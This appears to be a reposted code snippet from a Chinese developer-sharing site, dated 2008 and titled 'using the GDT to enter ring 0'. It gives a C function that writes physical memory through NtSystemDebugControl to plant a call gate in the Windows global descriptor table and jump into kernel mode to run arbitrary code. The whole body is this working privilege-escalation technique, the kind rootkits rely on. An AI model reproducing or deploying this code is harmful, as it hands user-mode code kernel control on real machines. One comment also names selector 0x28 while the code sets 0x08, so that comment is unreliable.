您的位置:首页 > 其它

利用GDT进入RING0

2008-03-21 09:36 309 查看
BOOL CallRing0_NtSystemDebugControl_GDT(PVOID pvRing0FuncAddr, PVOID pParam)
{
PLDT_DESCRIPTOR pLDTDescriptor;
GDTR gdtr;
WORD CallgateAddr[3];
WORD wGDTIndex = 1;
ULONG nRetLength;
PBYTE GDT_buff=NULL;
BOOL bRet = FALSE;

__try
{
// Initial the NtSystemDebugControl function
if( ! InitialNtSystemDebugControl() ) __leave;

// Get the gdt
_asm Sgdt [gdtr];
GDT_buff = (PBYTE) malloc(gdtr.wGDTLimit);
if( GDT_buff == NULL ) __leave;
nRetLength = ReadPhysicalMEM(
gdtr.dwGDTBase,
GDT_buff,
gdtr.wGDTLimit);
if( nRetLength != gdtr.wGDTLimit ) __leave;

// Skip the null descriptor
pLDTDescriptor = (PLDT_DESCRIPTOR)(GDT_buff + 8);

// Search for a free GDT descriptor
for (wGDTIndex = 1; wGDTIndex < (gdtr.wGDTLimit / 8); wGDTIndex++)
{
if (pLDTDescriptor->Type == 0 &&
pLDTDescriptor->System == 0 &&
pLDTDescriptor->DPL == 0 &&
pLDTDescriptor->Present == 0)
{
// Found one !
// Now we need to transform this descriptor into a callgate.
// Note that we're using selector 0x28 since it corresponds
// to a ring 0 segment which spans the entire linear address
// space of the processor (0-4GB).
PCALLGATE_DESCRIPTOR pCallgate;
pCallgate = (PCALLGATE_DESCRIPTOR) pLDTDescriptor;
pCallgate->Offset_0_15 = LOWORD(pvRing0FuncAddr);
pCallgate->Selector = 0x08;
pCallgate->ParamCount = 0;
pCallgate->Unused = 0;
pCallgate->Type = 0xc;
pCallgate->System = 0;
pCallgate->DPL = 3;
pCallgate->Present = 1;
pCallgate->Offset_16_31 = HIWORD(pvRing0FuncAddr);

// Flush the gdt
nRetLength = WritePhysicalMEM(
gdtr.dwGDTBase,
GDT_buff,
gdtr.wGDTLimit);
if( nRetLength != gdtr.wGDTLimit ) __leave;

// Prepare the far call parameters
CallgateAddr[0] = 0x0;
CallgateAddr[1] = 0x0;
CallgateAddr[2] = (wGDTIndex << 3) | 3;

// Please fasten your seat belts!
// We're about to make a hyperspace jump into RING 0.
_asm push pParam;
_asm Call FWORD PTR [CallgateAddr];

// We have made it !
// Now free the GDT descriptor
memset(pLDTDescriptor, 0, 8);
nRetLength = WritePhysicalMEM(
gdtr.dwGDTBase,
GDT_buff,
gdtr.wGDTLimit);
if( nRetLength != gdtr.wGDTLimit ) __leave;

// Our journey was successful. Seeya.
bRet = TRUE;
__leave;
}
// Advance to the next GDT descriptor
pLDTDescriptor++;
}
}
__finally
{
FreeNtSystemDebugControl();

if( GDT_buff )
free(GDT_buff);
return bRet;
}
}
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: